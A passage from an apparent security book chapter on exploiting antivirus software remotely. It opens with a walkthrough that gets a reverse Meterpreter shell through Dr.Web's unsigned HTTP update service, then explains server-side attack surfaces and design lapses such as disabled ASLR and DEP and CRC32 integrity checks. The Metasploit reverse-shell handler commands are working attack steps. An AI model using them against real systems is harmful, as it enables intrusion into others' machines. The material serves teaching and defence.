10.0.1.102 - - [20/Apr/2014 10:48:27] "GET

/x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –

On your machine, run a Metasploit reverse HTTP handler by issuing the following commands:

$ msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http

PAYLOAD => windows/meterpreter/reverse_http

msf exploit(handler) > set LHOST target-ip

LHOST => target-ip

msf exploit(handler) > set LPORT 8080

LPORT => 8080

msf exploit(handler) > run

[*] Started HTTP reverse handler on http://target-ip:8080/

[*] Starting the payload handler…

If everything goes well, when the Dr.Web antivirus tries to update its files, it downloads the Meterpreter payload you created, and after installing it, you see a new session in the Metasploit console, as shown in Figure 15-1.

Image described by surrounding text.

Figure 15.1 Dr.Web is successfully owned.

And that is all! As you can see, writing an exploit for an antivirus update service such as this vulnerable one was trivial.

Server-Side Exploitation

Server-side exploitation is the remote exploitation of network services, having access to them via an adjacent network, a LAN, or via a WAN, the Internet. Server-side exploitation can apply to the following (non-exhaustive) list of antivirus services:

·     Update services—The antivirus services that check for updates and download and install them on your computer or network.

·     Management console—The console where the infection alerts from client machines are received and handled by an administrator.

·     Network services—Any network listening service deployed by the antivirus, such as a web server, an FTP server for providing updates to clients on the same network, and so on.

Differences between Client-Side and Server-Side Exploitation

Server-side exploitation, without specifically focusing on antivirus products, is very different from client-side exploitation. However, most of the rules discussed about client-side exploitation still apply:

·     Exploitation mitigations—All the exploitation mitigations are there to make your life more difficult.

·     Mistakes—Antivirus engines make many mistakes, such as those I discussed relating to client-side exploitation: disabling ASLR, enabling DEP, creating RWX memory pages at fixed addresses, and so on. Luckily for an attacker, those mistakes will ease the difficulties stemming from the exploitation mitigations.

Perhaps the biggest difference for the attacker is that, in this case, they will unfortunately not have any programming interface from the server-side to create your payloads. This means that if you want to exploit a specific network service in some antivirus, you have no chance to execute JavaScript or even an Intel x86 assembler to create a payload or to perform heap spraying. However, the upside is that, as with client-side exploitation, exploiting an antivirus network service or an update service (or whatever server-side service you want to exploit) is not as difficult as exploiting OpenSSH, Apache, or Microsoft Windows Update. Indeed, it is exactly the same as what happens with its client-side counterpart: it is actually easier to target an antivirus service than any widely used, and more security-aware, server software.

There is one more important difference: in the case of network services, you likely have only one chance at success. You have only one chance to attack the network service, and if you fail, you have no choice but to wait until the service is restarted. If it is automatically restarted, then you can try many times, but this is not recommended: to keep retrying after the service crashes and restarts is akin to brute forcing. It may generate a lot of alert logs and will eventually draw the attention of the system administrator and the security engineers.

Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses

I already discussed how to take advantage of the mistakes made by antivirus products when disabling DEP or when ASLR is disabled for at least one module, on the client-side. For server-side exploitation, the same rules apply:

·     If a vulnerability overwrites the stack, you can even execute code on the stack if the antivirus disabled DEP.

·     If you need a fixed address with native code to create your own payloads, with ROP gadgets, for example, you can use the modules without ASLR enabled that the antivirus engineers left for you to exploit their services.

·     If you need a place in memory to write shellcode, you can use the RWX pages created at fixed memory addresses by the antivirus.

There is no real difference here between client-side and server-side exploitation.

Summary

Remote exploitation techniques are used in scenarios when an attacker does not have direct, local access to the target computer. An example of remotely exploiting client-side components of antivirus software is when the attacker sends a malicious email to the target, which then triggers a bug in the antivirus software leading to a DoS attack or remote code execution. On the other hand, remotely exploiting server-side components of an antivirus software involves attacking email gateways, firewalls, and other servers or services exposed to the LAN or WAN.

Client-side components are mitigated against exploitation by various technologies provided by the operating system, the compiler, and custom sandboxes. To name a few: ASLR, DEP, SafeSEH, Control Flow Guard, security cookies, and so on.

While there seem to be a lot of mitigations, antivirus developers still make lapses in security designs and implementations, thus paving the way for successful exploitation. The following is but a short list of trivial and common mistakes that can lead to exploitation and security problems:

·     Not enabling Address Space Layout Randomization (ASLR) for one or more modules or system-wide injection of non-ASLR-enabled libraries into other processes

·     Purposely disabling DEP in order to execute code in the stack or to preserve backwards compatibility with some older components of the antivirus software

·     The use of Read-Write-eXecute (RWX) memory pages, especially if they are allocated at fixed memory addresses

Apart from leveraging weaknesses in the use of mitigations, attackers use certain features in the antivirus software to their advantage. For example, if the antivirus contains emulators, it is possible to abuse the emulators and use them to do heap spraying or to leak memory and cause a DoS that could potentially crash the antivirus.

Server-side components and other network services are also protected by the same mitigations mentioned above and at the same time share their weaknesses. However, there are more attack vectors that server-side components are exposed to:

·     Update servers are prone to ARP spoofing attacks

·     The incorrect use of file signature and integrity checks while transmitting the update bits, for example, using CRC32 algorithms instead of PKI-based signature checks

·     Improper use of secure transport channels, for example, using HTTP instead of HTTPS

The final two points in the previous list were nicely illustrated by a hands-on section on how to exploit the update service of Dr.Web antivirus.

This chapter concludes Part III of this book. In the next and final part, the remaining two chapters will be less technical and more informative and talk about the current trends in antivirus protection and the direction the antivirus industry is heading. The book concludes by sharing some thoughts on how antiviruses could be improved.